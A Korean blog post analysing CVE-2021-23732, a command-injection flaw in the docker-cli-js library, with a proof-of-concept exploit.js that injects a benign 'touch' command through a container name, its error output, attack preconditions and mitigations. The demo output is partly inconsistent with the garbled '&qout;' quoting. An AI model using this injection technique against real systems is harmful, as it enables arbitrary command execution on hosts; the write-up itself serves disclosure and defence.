기술보안/컨테이너

[컨테이너 보안] 2-4장. 컨테이너 탈출 (CVE-2021-23732)

  • -

개요

CVE-2021-23732 취약점은 자바스크립트를 이용해 Docker 명령어를 사용하기 위한 docker-cli-js 라이브러리에서 발생하는 취약점이다.

 

docker-cli-js란?

docker-cli-js는 Docker 명령줄 인터페이스용 JavaScript 라이브러리이다. Docker와 상호 작용하는 프로그래밍 방식을 제공하므로 개발자가 JavaScript를 통해 Docker 작업을 자동화하고 Docker API를 제어하는 ​​애플리케이션을 구축할 수 있다.

 

CVE-2021-23732 취약점 소개

docker.command() 함수는 Docker의 명령을 실행할 수 있게 해주는 docker-cli-js 라이브러리의 일부이다.

하지만 매개 변수의 입력 값 검증 로직이 존재하지 않기 때문에 매개변수에 사용자 입력 값이 포함되는 경우에 구문을 우회하여 Host OS에서 시스템 명령어를 실행시킬 수 있는 취약점이다.

 

CVE-2021-23732 취약 환경

구분 내용 비고
Host OS CentOS7  
Docker 20.10.23  
Container Image ubuntu:latest Digest: sha256:9dc05cf19a5745c33b9327dba850480dae80310972dea9b05052162e7c7f2763
npm 8.19.2  
docker-cli-js 2.10.0  

 

CVE-2021-23732 취약점 PoC

1. Docker 설치

[root@localhost test]# yum install docker-ce docker-ce-cli
[root@localhost test]# docker -v
Docker version 20.10.23, build 7155243

 

2. npm, docker-cli-js 설치

[root@localhost test]# yum install epel-release

[root@localhost test]# yum install npm
[root@localhost test]# npm -v
8.19.2

[root@localhost test]# npm instll docker-cli-js
[root@localhost test]# cat package.json
{
  "dependencies": {
    "docker-cli-js": "^2.10.0"
  }
}

 

3. exploit.js 파일 생성

----- exploit.js -----
var dockerCLI = require('docker-cli-js');
var DockerOptions = dockerCLI.Options;
var Docker = dockerCLI.Docker;
var docker = new Docker();

var user_input = "&qout;touch aaaaaa&qout;";

docker.command('run -td --name '+user_input+' cve').then(function (data) {
  console.log('data = ', data);
});

 

docker.command() 함수는 user_input 변수를 이름으로 하는 컨테이너를 생성한다.

이 때, user_input(사용자 입력) 값에 (&qout;=싱글쿼터)를 입력하여 docker 명령을 우회하면

Host 시스템에 명령어 삽입이 가능하다.

 

4. exploit.js 파일 실행 및 Host 명령어 실행 확인

[root@localhost test]# node exploit.js
/bin/sh: qout: command not found
/bin/sh: qout: command not found
/bin/sh: cve: command not found
flag needs an argument: --name
See 'docker run --help'.
/root/Desktop/test/node_modules/docker-cli-js/dist/index.js:177
                return reject(Object.assign(new Error(`Error: stdout ${stdout}, stderr ${stderr}`), Object.assign({}, error, { stdout, stderr, innerError: error })));
                                            ^

Error: Error: stdout , stderr /bin/sh: qout: command not found
/bin/sh: qout: command not found
/bin/sh: cve: command not found
flag needs an argument: --name
See 'docker run --help'.

    at /root/Desktop/test/node_modules/docker-cli-js/dist/index.js:177:45
    at ChildProcess.exithandler (node:child_process:410:5)
    at ChildProcess.emit (node:events:513:28)
    at maybeClose (node:internal/child_process:1100:16)
    at Socket.<anonymous> (node:internal/child_process:458:11)
    at Socket.emit (node:events:513:28)
    at Pipe.<anonymous> (node:net:301:12) {
  code: 127,
  killed: false,
  signal: null,
  cmd: 'docker  run -td --name &qout;touch aaaaaa&qout; cve',
  stdout: '',
  stderr: '/bin/sh: qout: command not found\n' +
    '/bin/sh: qout: command not found\n' +
    '/bin/sh: cve: command not found\n' +
    'flag needs an argument: --name\n' +
    "See 'docker run --help'.\n",
  innerError: Error: Command failed: docker  run -td --name &qout;touch aaaaaa&qout; cve
  /bin/sh: qout: command not found
  /bin/sh: qout: command not found
  /bin/sh: cve: command not found
  flag needs an argument: --name
  See 'docker run --help'.

      at ChildProcess.exithandler (node:child_process:402:12)
      at ChildProcess.emit (node:events:513:28)
      at maybeClose (node:internal/child_process:1100:16)
      at Socket.<anonymous> (node:internal/child_process:458:11)
      at Socket.emit (node:events:513:28)
      at Pipe.<anonymous> (node:net:301:12) {
    code: 127,
    killed: false,
    signal: null,
    cmd: 'docker  run -td --name &qout;touch aaaaaa&qout; cve'
  }
}

[root@localhost test]# ls
aaaaaa  exploit.js  node_modules  package.json  package-lock.json

 

CVE-2021-23732 공격 성공 조건

① JavaScript 라이브러리인 docker-cli-js의 docker.command() 함수를 이용해 docker 명령을 수행할 것

② docker.command() 함수의 매개변수를 조작할 수 있을 것

     > 파일 업로드 취약점 등을 통해 js 파일 변조가 가능한 경우

     > API 등으로 구현하여 매개변수에 사용자 입력 값이 전달되는 경우

 

CVE-2021-23732 취약점 대응방안

해당 취약점은 2021년 11월 22일에 등록된 CVE 취약점이지만 현재까지도 취약점 패치가 이뤄지지 않고 있어, 최신 버전의 docker-cli-js 라이브러리에서도 취약점이 동작하며 이후로도 패치가 되지 않을 것으로 보인다. 따라서 해당 라이브러리 사용이 필요한 경우 관리자가 직접 보안 위협을 예방해야한다.

 

1. docker-cli-js 라이브러리가 사용되는 소스코드 파일의 쓰기 권한을 제한할 것

2. 웹 서비스 등이 파일 업로드를 제공하는 경우 확장자를 화이트리스트 기반으로 제한할 것

3. docker.command() 함수 매개 변수에는 사용자 입력 값이 포함되지 않도록 하고, 불가피한 경우 입력 값 검증 로직을 추가할 것

 

결론

많은 CVE 취약점을 분석해보지 않았지만 CVSS v3 점수가 9.0(Critical)으로 굉장히 위협적인 취약점임에도 불구하고 취약점이 조치되지 않는 것이 조금 의아했다. 물론 공격 성공 조건이 복잡하여 실제 악용하기가 굉장히 어렵지기도 하지만 단순 XSS 취약점처럼 docker.command() 매개변수 값에 필터링 하나만 걸어주면 될 것 같은데 말이다. 

Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.